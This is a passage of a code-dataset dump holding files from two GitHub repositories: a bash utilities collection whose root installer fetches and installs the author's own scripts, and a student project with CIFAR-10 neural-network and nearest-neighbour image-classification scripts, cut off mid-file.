"macdougt/bash-examples", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# import sys\n# from something import something\n\n# Logging\nimport logging\nlog = logging.getLogger(__name__)\n\nclass ClassName(Action):\n '''\n What does this class do?\n '''\n def __init__(self, f1):\n self.f1 = f1\n\n def doSomething(self):\n print(\"doSomething\")\n\nif __name__ == \"__main__\":\n ClassName().doSomething()" }, { "alpha_fraction": 0.6115108132362366, "alphanum_fraction": 0.6115108132362366, "avg_line_length": 14.55555534362793, "blob_id": "148235d76f86bdceea5bda6e6e277789180212e9", "content_id": "7d7f460d6fe7f85ccc497e1967102af46c4f8855", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 139, "license_type": "permissive", "max_line_length": 33, "num_lines": 9, "path": "/templates/py/py", "repo_name": "macdougt/bash-examples", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# import sys\n# from something import something\n\n#\n# def someFunc():\n\nif __name__ == \"__main__\":\n print(\"Running...\")" }, { "alpha_fraction": 0.6041055917739868, "alphanum_fraction": 0.6041055917739868, "avg_line_length": 20.3125, "blob_id": "9d47151411ebd69985358ffad80dafa90b12136d", "content_id": "fd6f6fa48eb8090c417feaabce49b05f93d5048c", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 341, "license_type": "permissive", "max_line_length": 56, "num_lines": 16, "path": "/utils/new", "repo_name": "macdougt/bash-examples", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\nosascript - \"$@\" <<EOF\non run argv\ntell application \"iTerm\"\n activate\n set new_term to (create window with default profile)\n tell new_term\n tell the current session\n repeat with arg in argv\n write text arg\n end repeat\n end tell\n end tell\nend tell\nend run\nEOF\n" }, { "alpha_fraction": 0.6627023220062256, "alphanum_fraction": 0.6667484045028687, "avg_line_length": 26.277591705322266, "blob_id": "b6b0a4b99b8a71b927c346f666e932abc8c046a0", "content_id": "958b44b534e94dbd9360a3f9c11d55f5f5bba7e3", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 8156, "license_type": "permissive", "max_line_length": 189, "num_lines": 299, "path": "/install_t.bash", "repo_name": "macdougt/bash-examples", "src_encoding": "UTF-8", "text": "# Installer to standard terminal utilities and functionality\n\n# This script must be run as root\nif [ \"$(id -u)\" != \"0\" ]; then\n echo \"This script must be run as root\" 1>&2\n exit 1\nfi\n\n# Usage\nfunction usage()\n{\n echo \"Install utilities from github\"\n echo \"\"\n echo $0 \n echo -e \"\\t-h --help\"\n echo -e \"\\t-u [username] or --user=[username]\"\n echo -e \"\\t-n | --dry-run\"\n echo \"\"\n}\n\n# Compare files with files of same name in specified directory\nfunction compare_files() {\n MY_DIR=$1\n shift\n MY_TEMP_DIR=$1\n shift\n echo \"Set to compare files: $* to those in $MY_DIR\"\n\n # First compare\n echo \"\"\n echo \"Differences in $MY_DIR\"\n echo \"--------------------------------\"\n echo \"\" \n for cur_file in \"$@\"\n do\n cmp $cur_file $MY_DIR/$cur_file\n done\n\n # Run diffs\n for cur_file in \"$@\"\n do\n if ! cmp -s $cur_file $MY_DIR/$cur_file\n then\n echo \"\"\n echo \"sudo diff $MY_TEMP_DIR/$cur_file $MY_DIR/$cur_file\"\n echo \"sudo /Applications/DiffMerge.app/Contents/Resources/diffmerge.sh $MY_TEMP_DIR/$cur_file $MY_DIR/$cur_file\"\n echo \"--------------------------------\"\n echo \"\" \n diff $cur_file $MY_DIR/$cur_file\n fi\n done\n}\n\n# Cheap processing of arguments\nexport DRY_RUN=0\n\nwhile [[ \"$1\" != \"\" ]]; do\n case \"$1\" in\n -h | --help) usage; exit;; # Display usage\n -u | --user)\n INSTALL_USER=$2\n # check if the user exists\n ERROR_MESSAGE=$(id -u $INSTALL_USER 2>&1)\n if [ $? != 0 ]\n then\n echo $ERROR_MESSAGE\n exit 1\n fi\n shift;;\n -n | --dry-run)\n DRY_RUN=1;;\n *)\n echo \"ERROR: unknown parameter \\\"$PARAM\\\"\"\n usage\n exit 1\n ;;\n esac\n shift # Proceed to next argument if necessary\ndone\n\n# Set the install user\n# TODO shouldn t this fail if the user does not exist\nif [ -z \"$INSTALL_USER\" ]; then\n if [ \"$(uname)\" == \"Darwin\" ]; then\n INSTALL_USER=$(logname) # sudoing user\n else\n INSTALL_USER=$(whoami)\n fi\nfi\n\nif [ $DRY_RUN -eq 1 ]; then\n echo \"This script is running as a dry run\"\nelse \n echo \"MODIFICATIONS: This script is NOT running as a dry run\"\nfi\n\necho \"\"\necho \"I am installing for $INSTALL_USER with bash ${BASH_VERSINFO}. Should I continue?[y/N]\"\nread ANSWER\nif [ \"$ANSWER\" != \"y\" ] && [ \"$ANSWER\" != \"Y\" ]; then\n echo \"Exiting\"\n exit 0\nfi\n\n# Operate in a temporary directory\n# Check for mktemp\nif ! which mktemp\nthen\n echo \"You need to install mktemp to use this script\"\n exit\nfi\n\nmytmpdir=`mktemp -d 2>/dev/null || mktemp -d -t 'mytmpdir'`\necho \"This script will be operating in $mytmpdir\"\n\n# Work in the temporary directory\ncd $mytmpdir\n\n# Deal with OS specifics\nif [ \"$(uname)\" == \"Darwin\" ]; then\n ARCH='mac'\n echo \"This terminal appears to be running MAC os\"\n\n # Set the home directory of the INSTALL_USER\n HOME_DIR=$(dscacheutil -q user -a name $INSTALL_USER | grep dir | cut -d':' -f2)\n\nelif [ \"$(expr substr $(uname -s) 1 5)\" == \"Linux\" ]; then\n ARCH='linux'\n echo \"This terminal appears to be running a linux os\"\n\n # Set the home directory of the INSTALL_USER\n HOME_DIR=$( getent passwd \"$INSTALL_USER\" | cut -d: -f6 )\n\n # Check if the vimrc has compatibility mode set\n if grep \"set nocompatible\" $HOME_DIR/.vimrc\n then\n echo \"Non-compatibility mode is set\"\n else\n echo \"Adding non-compatibility mode to vi\"\n echo \"set nocompatible\" >> $HOME_DIR/.vimrc\n echo \"Adding local history to vi\"\n echo \"autocmd BufWritePost * execute '! if [ -d RCS ]; then ci -u -m\\\"%\\\" % ; co -l %; fi'\" >> $HOME_DIR/.vimrc\n fi\nfi\n\necho \"This a $ARCH operating system\"\n\n# wget is required\nif ! which wget\nthen\n echo \"Need to install wget\"\n if [ \"$ARCH\" == \"linux\" ]\n then\n apt-get install wget\n elif [ \"$ARCH\" == \"mac\" ]\n then\n brew install wget\n else\n echo \"I do not recognize architecture $ARCH\"\n exit 2\n fi \nelse \n\techo \"wget installed already\"\nfi\n\n# Perl is required\nif ! which perl\nthen\n echo \"Need to install perl\"\n if [ \"$ARCH\" == \"linux\" ]\n then\n apt-get install perl\n elif [ \"$ARCH\" == \"mac\" ]\n then\n brew install perl\n else\n echo \"I do not recognize architecture $ARCH\"\n exit 2\n fi\nelse\n echo \"perl installed already\"\nfi\n\n# Set up file groups\nDOT_FILES=('.profile' '.bash_aliases' '.bashrc' '.docker_content' '.dirh_content' '.hist_content' '.dm_content' '.dc_content' '.edit_content' '.mac_content' '.overrides' 'update_installer')\n\nBBH_CONTENT='.bbh_content'\n\nUTILITIES=('appendif' 'cdn' 'getDir' 'cleandh' 'cleaneh' 'cd_to_file' 'list' 'dh_list' 'pipelist' 'bu' 'history_unique' 'bbh' 'ips' 'vloc' 'tvi' 'bbq' 'hh' 'bbh2' 'update_file_from_url')\nMAC_UTILITIES=('new')\nDOCKER_UTILITIES=('docb' 'docs' 'dk' 'dcp')\nDOCKER_MACHINE_UTILITIES=('dm_connect')\nPERL_UTILITIES=('picklist')\n\nJOIN_DOT_FILES=$(echo ${DOT_FILES[@]} $BBH_CONTENT)\nJOIN_UTILITIES=$(echo ${UTILITIES[@]})\nJOIN_DOCKER_UTILITIES=$(echo ${DOCKER_UTILITIES[@]})\nJOIN_DOCKER_MACHINE_UTILITIES=$(echo ${DOCKER_MACHINE_UTILITIES[@]})\nJOIN_PERL_UTILITIES=$(echo ${PERL_UTILITIES[@]})\n\n# Grab the dot files\n\necho \"About to wget...\"\n\nfor DOT_FILE in \"${DOT_FILES[@]}\"\ndo\n echo \"$DOT_FILE\"\n wget --quiet https://raw.githubusercontent.com/macdougt/bash-examples/master/$DOT_FILE -O $DOT_FILE \ndone\n\n# bbh \nif [ \"${BASH_VERSINFO}\" -lt 4 ]; then\n echo \"bash ${BASH_VERSINFO} less than 4, choosing .bbh_content\"\n wget --quiet https://raw.githubusercontent.com/macdougt/bash-examples/master/$BBH_CONTENT -O $BBH_CONTENT \nelse\n echo \"bash ${BASH_VERSINFO} greater than or equal to 4, choosing .bbh_content.bash4\"\n wget --quiet https://raw.githubusercontent.com/macdougt/bash-examples/master/$BBH_CONTENT.bash4 -O $BBH_CONTENT\nfi\n\n# Grab the bash utilities\nfor UTIL in \"${UTILITIES[@]}\"\ndo\n echo \"$UTIL\"\n wget --quiet https://raw.githubusercontent.com/macdougt/bash-examples/master/utils/$UTIL -O $UTIL \ndone\n\n# Grab the docker utilities\nfor DOCKER_UTIL in \"${DOCKER_UTILITIES[@]}\"\ndo\n echo $DOCKER_UTIL\n wget --quiet https://raw.githubusercontent.com/macdougt/docker-examples/master/$DOCKER_UTIL -O $DOCKER_UTIL \ndone\n\n# Grab the docker machine utilities\nfor DOCKER_MACHINE_UTIL in \"${DOCKER_MACHINE_UTILITIES[@]}\"\ndo\n echo $DOCKER_MACHINE_UTIL\n wget --quiet https://raw.githubusercontent.com/macdougt/docker-machine-examples/master/$DOCKER_MACHINE_UTIL -O $DOCKER_MACHINE_UTIL \ndone\n\n# Grab the perl utilities\nfor PERL_UTIL in \"${PERL_UTILITIES[@]}\"\ndo\n echo $PERL_UTIL\n wget --quiet https://raw.githubusercontent.com/macdougt/perl-examples/master/utils/$PERL_UTIL -O $PERL_UTIL \ndone\n\n# Set file permissions\nchmod +x $JOIN_UTILITIES\nchmod +x $JOIN_DOCKER_UTILITIES\nchmod +x $JOIN_DOCKER_MACHINE_UTILITIES\nchmod +x $JOIN_PERL_UTILITIES\n\n# Set file ownership and group\nPRIMARY_GROUP=$(id -g -n $INSTALL_USER)\nchown $INSTALL_USER:$PRIMARY_GROUP $JOIN_DOT_FILES \nchown $INSTALL_USER:$PRIMARY_GROUP $JOIN_UTILITIES \nchown $INSTALL_USER:$PRIMARY_GROUP $JOIN_DOCKER_UTILITIES \nchown $INSTALL_USER:$PRIMARY_GROUP $JOIN_DOCKER_MACHINE_UTILITIES \nchown $INSTALL_USER:$PRIMARY_GROUP $JOIN_PERL_UTILITIES \n\n# Compare (if specified)\nif [ $DRY_RUN -eq 1 ]; then\n echo \"Only a dry run\"\n compare_files $HOME_DIR $mytmpdir $JOIN_DOT_FILES\n compare_files /usr/local/bin $mytmpdir $JOIN_UTILITIES\n compare_files /usr/local/bin $mytmpdir $JOIN_DOCKER_UTILITIES\n compare_files /usr/local/bin $mytmpdir $JOIN_DOCKER_MACHINE_UTILITIES\n compare_files /usr/local/bin $mytmpdir $JOIN_PERL_UTILITIES\n\n # Remove temp directory\n #/usr/local/bin/trash $mytmpdir\n exit\nfi\n\n# Move files to end locations\nmv $JOIN_DOT_FILES $HOME_DIR\nmv $JOIN_UTILITIES /usr/local/bin\nmv $JOIN_DOCKER_UTILITIES /usr/local/bin\nmv $JOIN_DOCKER_MACHINE_UTILITIES /usr/local/bin\nmv $JOIN_PERL_UTILITIES /usr/local/bin\n\n# Add OS specific content\nif [ \"$ARCH\" == \"mac\" ]\n then\n # Grab the MAC utilities\n for MAC_UTIL in \"${MAC_UTILITIES[@]}\"\n do\n wget --quiet https://raw.githubusercontent.com/macdougt/bash-examples/master/utils/$MAC_UTIL -O $MAC_UTIL \n done\n\n JOIN_MAC_UTILITIES=$(echo ${MAC_UTILITIES[@]})\n chmod +x $JOIN_MAC_UTILITIES\n chown $INSTALL_USER:$PRIMARY_GROUP $JOIN_MAC_UTILITIES\n mv $JOIN_MAC_UTILITIES /usr/local/bin\nfi\n\n# Get rid of the temporary directory\nrmdir $mytmpdir\n" }, { "alpha_fraction": 0.5274725556373596, "alphanum_fraction": 0.5549450516700745, "avg_line_length": 15.363636016845703, "blob_id": "b60089e6254a6a4788467c4c9b8b661324b867a3", "content_id": "90596a01e67f9e760ea15d8ef23b31e33a82f7df", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 182, "license_type": "permissive", "max_line_length": 61, "num_lines": 11, "path": "/test/test_glob.sh", "repo_name": "macdougt/bash-examples", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\n\n# Test with enough args, not validated\n# e.g. test_glob.sh * (in a directory with more than 2 files)\n\necho \"\\$1 => $1\";\n\necho \"\\$2 => $2\";\n\necho \"\\$* => $*\";\n\n\n" }, { "alpha_fraction": 0.6643109321594238, "alphanum_fraction": 0.6643109321594238, "avg_line_length": 12.428571701049805, "blob_id": "4c5a793452063ae7b9b152e8ea896dbf8b99c470", "content_id": "112b9405a769139925717a20d91102c9b045c1e6", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 283, "license_type": "permissive", "max_line_length": 38, "num_lines": 21, "path": "/test/test_global.sh", "repo_name": "macdougt/bash-examples", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n# Globals work as expected\n\n\nGLOBAL_VAR=\"Global us set to: initial\"\n\nfunction f() {\n echo \"Running f\"\n GLOBAL_VAR=\"Global set to: f\"\n}\n\nfunction g() {\n echo \"Running g\"\n GLOBAL_VAR=\"Global set to: g\"\n}\n\necho $GLOBAL_VAR\nf\necho $GLOBAL_VAR\ng\necho $GLOBAL_VAR\n\n" } ]
15
tlieb21/ECE532_FinalProj
https://github.com/tlieb21/ECE532_FinalProj
54c68c097d58ab158d55a269498ac95d2e9513a2
a772e07b21f0460335eb58ce3bb21701868255eb
abb3e5fdcb2b021982756901c2ed005456b99710
refs/heads/main
2023-01-28T16:09:06.611893
2020-12-13T01:46:40
2020-12-13T01:46:40
306,431,273
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5510175824165344, "alphanum_fraction": 0.6035478711128235, "avg_line_length": 34.478050231933594, "blob_id": "4e0f87c09c0b04c11912c537f924b57614ea675f", "content_id": "08477dbff812635cfa973867da8aec875db73a08", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7272, "license_type": "no_license", "max_line_length": 119, "num_lines": 205, "path": "/DEV/nn.py", "repo_name": "tlieb21/ECE532_FinalProj", "src_encoding": "UTF-8", "text": "import numpy as np\nfrom datetime import datetime\nimport torch\nimport torchvision\nimport torch.nn as nn\nimport torch.nn.functional as fun\nimport torchvision.transforms as transforms\nimport torch.optim as optim\nimport tensorflow as tf\n\nnow = datetime.now()\ncurrent_time = now.strftime(\"%H:%M:%S\")\nprint(\"Current Time =\", current_time)\n\n# Method for reading in the \"pickled\" object images\ndef unpickle(file):\n import pickle\n with open(file, 'rb') as fo:\n dict = pickle.load(fo, encoding='bytes')\n return dict\n\ndef preprocess(x):\n min_val = np.matrix.min(x)\n max_val = np.matrix.max(x)\n x = (x - min_val) / (max_val - min_val)\n x = (x * 2) - 1\n return x\n\n# Read in the datasets 5 training batches and 1 test batch, each has 10,000 images\n# data_batch_1 = unpickle('cifar-10-batches-py/data_batch_1')\n# data_batch_2 = unpickle('cifar-10-batches-py/data_batch_2')\n# data_batch_3 = unpickle('cifar-10-batches-py/data_batch_3')\n# data_batch_4 = unpickle('cifar-10-batches-py/data_batch_4')\n# data_batch_5 = unpickle('cifar-10-batches-py/data_batch_5')\n# data_batch_6 = unpickle('cifar-10-batches-py/test_batch')\n\n# Each data_batch is a dictionary with the following items\n# b'batch_label --> specifies which batch it is\n# b'labels --> array of 10,000 labels 0-9 correspoding to the correct classification\n# b'data --> 10,000 x 3072 array of uint8 pixels, each rows is a 32x32 image with the first 1024 entries being the red,\n# the second 1024 entries being the green, and the last 1024 entries being the blue\n\n#Read in the batch data and perform pre-processing\n# db1_labels = data_batch_1[b'labels']\n# db1_data = data_batch_1[b'data'].reshape((len(data_batch_1[b'data']), 3, 32, 32))#.transpose(0, 2, 3, 1)\n# db2_labels = data_batch_2[b'labels']\n# db2_data = data_batch_2[b'data'].reshape((len(data_batch_2[b'data']), 3, 32, 32))#.transpose(0, 2, 3, 1)\n# db3_labels = data_batch_3[b'labels']\n# db3_data = data_batch_3[b'data'].reshape((len(data_batch_3[b'data']), 3, 32, 32))#.transpose(0, 2, 3, 1)\n# db4_labels = data_batch_4[b'labels']\n# db4_data = data_batch_4[b'data'].reshape((len(data_batch_4[b'data']), 3, 32, 32))#.transpose(0, 2, 3, 1)\n# db5_labels = data_batch_5[b'labels']\n# db5_data = data_batch_5[b'data'].reshape((len(data_batch_5[b'data']), 3, 32, 32))#.transpose(0, 2, 3, 1)\n# db6_labels = data_batch_6[b'labels']\n# db6_data = data_batch_6[b'data'].reshape((len(data_batch_6[b'data']), 3, 32, 32))#.transpose(0, 2, 3, 1)\n\n\n# Each new image has the form num_chanels (RGB) x width x height = 3 x 32 x 32\n# 10,000 images in each data segment so 10000 x 3 x 32 x 32\n\n# print(len(db1_data[:,0,0,0])) # col size\n# print(len(db1_data[0,:,0,0])) # row size\n# print(len(db1_data[0,0,:,0])) # row size\n# print(len(db1_data[0,0,0,:])) # row size\n\n# print(len(db1_labels)) # col size\n\n# for i in range(0,10000):\n # db1_data[i,:,:,:] = preprocess(np.matrix(db1_data[i,:,:,:]))\n # db2_data[i,:,:,:] = preprocess(db2_data[i,:,:,:])\n # db3_data[i,:,:,:] = preprocess(db3_data[i,:,:,:])\n # db4_data[i,:,:,:] = preprocess(db4_data[i,:,:,:])\n # db5_data[i,:,:,:] = preprocess(db5_data[i,:,:,:])\n # db6_data[i,:,:,:] = preprocess(db6_data[i,:,:,:])\n # for j in range(0,3):\n # db1_data[i,j,:,:] = preprocess(np.matrix(db1_data[i,j,:,:]))\n # db2_data[i,j,:,:] = preprocess(db2_data[i,j,:,:])\n # db3_data[i,j,:,:] = preprocess(db3_data[i,j,:,:])\n # db4_data[i,j,:,:] = preprocess(db4_data[i,j,:,:])\n # db5_data[i,j,:,:] = preprocess(db5_data[i,j,:,:])\n # db6_data[i,j,:,:] = preprocess(db6_data[i,j,:,:])\n\n# print(np.min(db1_data[500,1,:,:]))\n# print(np.max(db1_data[500,1,:,:]))\n \n \n# One Hot Encoding\n# db1_labels = np.to_categorical(db1_labels)\n# db2_labels = np.to_categorical(db2_labels)\n# db3_labels = np.to_categorical(db3_labels)\n# db4_labels = np.to_categorical(db4_labels)\n# db5_labels = np.to_categorical(db5_labels)\n# db6_labels = np.to_categorical(db6_labels)\n\n\ntransform = transforms.Compose(\n [transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))])\n\ntrainset = torchvision.datasets.CIFAR10(root='./data', train=True,\n download=True, transform=transform)\ntrainloader = torch.utils.data.DataLoader(trainset, batch_size=4,\n shuffle=True, num_workers=2)\n\ntestset = torchvision.datasets.CIFAR10(root='./data', train=False,\n download=True, transform=transform)\ntestloader = torch.utils.data.DataLoader(testset, batch_size=4,\n shuffle=False, num_workers=2)\n\n# classes = ('plane', 'car', 'bird', 'cat',\n# 'deer', 'dog', 'frog', 'horse', 'ship', 'truck')\n\n\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.conv1 = nn.Conv2d(3, 6, 5)\n self.pool = nn.MaxPool2d(2, 2)\n self.conv2 = nn.Conv2d(6, 16, 5)\n self.fc1 = nn.Linear(16 * 5 * 5, 120)\n self.fc2 = nn.Linear(120, 84)\n self.fc3 = nn.Linear(84, 10)\n\n def forward(self, x):\n x = self.pool(fun.relu(self.conv1(x)))\n x = self.pool(fun.relu(self.conv2(x)))\n x = x.view(-1, 16 * 5 * 5)\n x = fun.relu(self.fc1(x))\n x = fun.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n\n\nnet = Net()\n# print(net)\n\n# criterion = nn.CrossEntropyLoss()\ncriterion = nn.MSELoss()\n# criterion = nn.L1Loss()\n\n\n# lr = learning rate, momentum = helps avoid local minimum\noptimizer = optim.SGD(net.parameters(), lr=0.001, momentum=0.9)\n\n# tensor_db1 = torch.from_numpy(db1_data)\n# tensor_db2 = torch.from_numpy(db2_data)\n# tensor_db3 = torch.from_numpy(db3_data)\n# tensor_db4 = torch.from_numpy(db4_data)\n# tensor_db5 = torch.from_numpy(db5_data)\n# tensor_db6 = torch.from_numpy(db6_data)\n# print(trainloader.size())\n\n# out = net(tensor_db1)\n# input = torch.randn(1, 1, 32, 32)\n# out = net(input)\n# print(out)\n\n# NN Training Loop\ncount = 0\ntotal_loss = 0\nfor trial in range(0,2):\n for idx, curr in enumerate(trainloader,0):\n count += 1\n data, label = curr\n label = torch.from_numpy(tf.keras.utils.to_categorical(label, num_classes=10))\n optimizer.zero_grad()\n\n out = net(data)\n\n if idx < 5:\n print(out)\n print(label)\n \n loss = criterion(out, label)\n loss.backward()\n optimizer.step()\n\n total_loss += loss.item()\n\n if idx % 10000 == 9999:\n print(\"Iteration \"+str(trial+1)+\": current loss = \"+str(total_loss/count))\n\n # if idx % 2000 == 1999: # print every 2000 mini-batches\n # print('[%d, %5d] loss: %.3f' %\n # (trial + 1, idx + 1, total_loss / 2000))\n # total_loss = 0.0\n\nprint(count)\n\ncorrect = 0\ntotal = 0\nwith torch.no_grad():\n for data in testloader:\n images, labels = data\n outputs = net(images)\n _, predicted = torch.max(outputs.data, 1)\n total += labels.size(0)\n correct += (predicted == labels).sum().item()\n\nprint('Accuracy of the network on the 10000 test images: %d %%' % (\n 100 * correct / total))\n\nnow = datetime.now()\ncurrent_time = now.strftime(\"%H:%M:%S\")\nprint(\"Current Time =\", current_time)" }, { "alpha_fraction": 0.7813267707824707, "alphanum_fraction": 0.8009827733039856, "avg_line_length": 39.70000076293945, "blob_id": "2bb7051ee6aaa0d959fb023ec3d59097a958416a", "content_id": "9d29f50bae28f7584041eee04a9b6e682e9708d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 407, "license_type": "no_license", "max_line_length": 122, "num_lines": 10, "path": "/readme.txt", "repo_name": "tlieb21/ECE532_FinalProj", "src_encoding": "UTF-8", "text": "ECE 532 Final Project Fall 2020\nTimothy Lieb [email protected]\n\nTo run the Ridge Regression and K-Nearest Neighbor code, simply run the Jupyter Notebooks.\n\nTo run the Neural Network code, PyTorch and TensorFlow packages must first be installed. Then simply run the Python3 file.\n\n\nThe PDF files are the project proposal and updates from during implementation. The DEV folder has all the files/code from\nduring development.\n" }, { "alpha_fraction": 0.5757330060005188, "alphanum_fraction": 0.6228737831115723, "avg_line_length": 33.49161911010742, "blob_id": "f1956b36be4c3f37b11abc82f502fcbeb01269b4", "content_id": "24525ccf0a7f15f1b8c41867f4e26f7372713e14", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6173, "license_type": "no_license", "max_line_length": 119, "num_lines": 179, "path": "/CIFAR-10_Neural_Network.py", "repo_name": "tlieb21/ECE532_FinalProj", "src_encoding": "UTF-8", "text": "import numpy as np\nfrom datetime import datetime\nimport torch\nimport torchvision\nimport torch.nn as n_net\nimport torch.nn.functional as func\nimport torchvision.transforms as transforms\nimport torch.optim as optim\nimport tensorflow as tf\n\nnow = datetime.now()\ncurrent_time = now.strftime(\"%H:%M:%S\")\nprint(\"Current Time =\", current_time)\n\n\n# Method for reading in the \"pickled\" object images\ndef unpickle(file):\n import pickle\n with open(file, 'rb') as fo:\n dict = pickle.load(fo, encoding='bytes')\n return dict\n\n# Normalize the data\ndef preprocess(x):\n min_val = np.matrix.min(x)\n max_val = np.matrix.max(x)\n x = (x - min_val) / (max_val - min_val)\n x = (x * 2) - 1\n return x\n\n# Read in the datasets 5 training batches and 1 test batch, each has 10,000 images\n# data_batch_1 = unpickle('cifar-10-batches-py/data_batch_1')\n# data_batch_2 = unpickle('cifar-10-batches-py/data_batch_2')\n# data_batch_3 = unpickle('cifar-10-batches-py/data_batch_3')\n# data_batch_4 = unpickle('cifar-10-batches-py/data_batch_4')\n# data_batch_5 = unpickle('cifar-10-batches-py/data_batch_5')\n# data_batch_6 = unpickle('cifar-10-batches-py/test_batch')\n\n# Each data_batch is a dictionary with the following items\n# b'batch_label --> specifies which batch it is\n# b'labels --> array of 10,000 labels 0-9 correspoding to the correct classification\n# b'data --> 10,000 x 3072 array of uint8 pixels, each rows is a 32x32 image with the first 1024 entries being the red,\n# the second 1024 entries being the green, and the last 1024 entries being the blue\n\n#Read in the batch data and perform pre-processing\n# db1_labels = data_batch_1[b'labels']\n# db1_data = data_batch_1[b'data'].reshape((len(data_batch_1[b'data']), 3, 32, 32))#.transpose(0, 2, 3, 1)\n# db2_labels = data_batch_2[b'labels']\n# db2_data = data_batch_2[b'data'].reshape((len(data_batch_2[b'data']), 3, 32, 32))#.transpose(0, 2, 3, 1)\n# db3_labels = data_batch_3[b'labels']\n# db3_data = data_batch_3[b'data'].reshape((len(data_batch_3[b'data']), 3, 32, 32))#.transpose(0, 2, 3, 1)\n# db4_labels = data_batch_4[b'labels']\n# db4_data = data_batch_4[b'data'].reshape((len(data_batch_4[b'data']), 3, 32, 32))#.transpose(0, 2, 3, 1)\n# db5_labels = data_batch_5[b'labels']\n# db5_data = data_batch_5[b'data'].reshape((len(data_batch_5[b'data']), 3, 32, 32))#.transpose(0, 2, 3, 1)\n# db6_labels = data_batch_6[b'labels']\n# db6_data = data_batch_6[b'data'].reshape((len(data_batch_6[b'data']), 3, 32, 32))#.transpose(0, 2, 3, 1)\n\n\n# tensor_db1 = torch.from_numpy(db1_data)\n# tensor_db2 = torch.from_numpy(db2_data)\n# tensor_db3 = torch.from_numpy(db3_data)\n# tensor_db4 = torch.from_numpy(db4_data)\n# tensor_db5 = torch.from_numpy(db5_data)\n# tensor_db6 = torch.from_numpy(db6_data)\n\n# PyTorch built in method for reading th CIFAR-10 dataset, performs pre-processing as well\ntransform = transforms.Compose(\n [transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))])\n\ntrainset = torchvision.datasets.CIFAR10(root='./data', train=True,\n download=True, transform=transform)\ntrainloader = torch.utils.data.DataLoader(trainset, batch_size=10,\n shuffle=True, num_workers=0)\n\ntestset = torchvision.datasets.CIFAR10(root='./data', train=False,\n download=True, transform=transform)\ntestloader = torch.utils.data.DataLoader(testset, batch_size=10,\n shuffle=False, num_workers=0)\n\nnn_width = 10\n\nclass Net(n_net.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.conv1 = n_net.Conv2d(3, nn_width, 5)\n self.pool = n_net.MaxPool2d(2, 2)\n self.conv2 = n_net.Conv2d(nn_width, 16, 5)\n \n self.fc1 = n_net.Linear(16 * 5 * 5, 120)\n self.fc2 = n_net.Linear(120, 84)\n self.fc3 = n_net.Linear(84, 10)\n\n def forward(self, x):\n x = self.pool(func.relu(self.conv1(x)))\n x = self.pool(func.relu(self.conv2(x)))\n x = x.view(-1, 16 * 5 * 5)\n\n x = func.relu(self.fc1(x))\n x = func.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n\n\nnet = Net()\n\n# criterion = n_net.MSELoss()\n# criterion = n_net.CrossEntropyLoss()\ncriterion = n_net.L1Loss()\n\n\n# lr = learning rate, momentum = helps avoid local minimum\noptimizer = optim.SGD(net.parameters(), lr=0.01, momentum=0.9)\n\n# NN Training Loop\nnum_iterations = 1\ncount = 0\ntotal_loss = 0\n\nfor trial in range(0,num_iterations):\n for idx, curr in enumerate(trainloader,0):\n count += 1\n data, label = curr\n label = torch.from_numpy(tf.keras.utils.to_categorical(label, num_classes=10))\n optimizer.zero_grad()\n\n out = net(data)\n\n # if idx < 5:\n # print(out)\n # print(label)\n \n loss = criterion(out, label)\n loss.backward()\n optimizer.step()\n\n total_loss += loss.item()\n\n if idx % 10000 == 9999:\n print(\"Iteration \"+str(trial+1)+\": current loss = \"+str(total_loss/count))\n\n # if idx % 2000 == 1999: # print every 2000 mini-batches\n # print('[%d, %5d] loss: %.3f' %\n # (trial + 1, idx + 1, total_loss / 2000))\n # total_loss = 0.0\n\nprint(count)\n\n# correct = 0\ntest_size = 10000\nerror_count = 0\nsquared_error = 0\ntraining_errors = np.zeros(test_size)\ntraining_sqs = np.zeros(test_size)\n\nwith torch.no_grad():\n for curr in testloader:\n data, labels = curr\n out = net(data)\n b, predicted = torch.max(out.data, 1)\n # predicted = torch.max(out.data, 1)\n\n error_count += (predicted != labels).sum().item()\n squared_error += np.linalg.norm(predicted - labels)**2\n \n\nerror_rate = error_count / test_size\nmse = squared_error / test_size\n\n # correct += (predicted == labels).sum().item()\n\nprint(\"Neural Network trained with \" + str(num_iterations) + \" iterations\")\nprint(\"Error Rate: \" + str(round(error_rate*100,3)) + \", Mean Sqaured Error: \" + str(round(mse,3)))\nprint()\n\nnow = datetime.now()\ncurrent_time = now.strftime(\"%H:%M:%S\")\nprint(\"Current Time =\", current_time)" }, { "alpha_fraction": 0.6003490686416626, "alphanum_fraction": 0.649463951587677, "avg_line_length": 29.393939971923828, "blob_id": "6979a211da1fcfdc5c81c4933da32153ae1a45b8", "content_id": "ec158a8aca4545af6c5b08c40a49604f0b9d4db1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4011, "license_type": "no_license", "max_line_length": 167, "num_lines": 132, "path": "/DEV/knn.py", "repo_name": "tlieb21/ECE532_FinalProj", "src_encoding": "UTF-8", "text": "import numpy as np\nfrom datetime import datetime\nfrom sklearn.neighbors import KNeighborsClassifier\nimport statistics \n\nnow = datetime.now()\ncurrent_time = now.strftime(\"%H:%M:%S\")\nprint(\"Current Time =\", current_time)\n\n# Method for 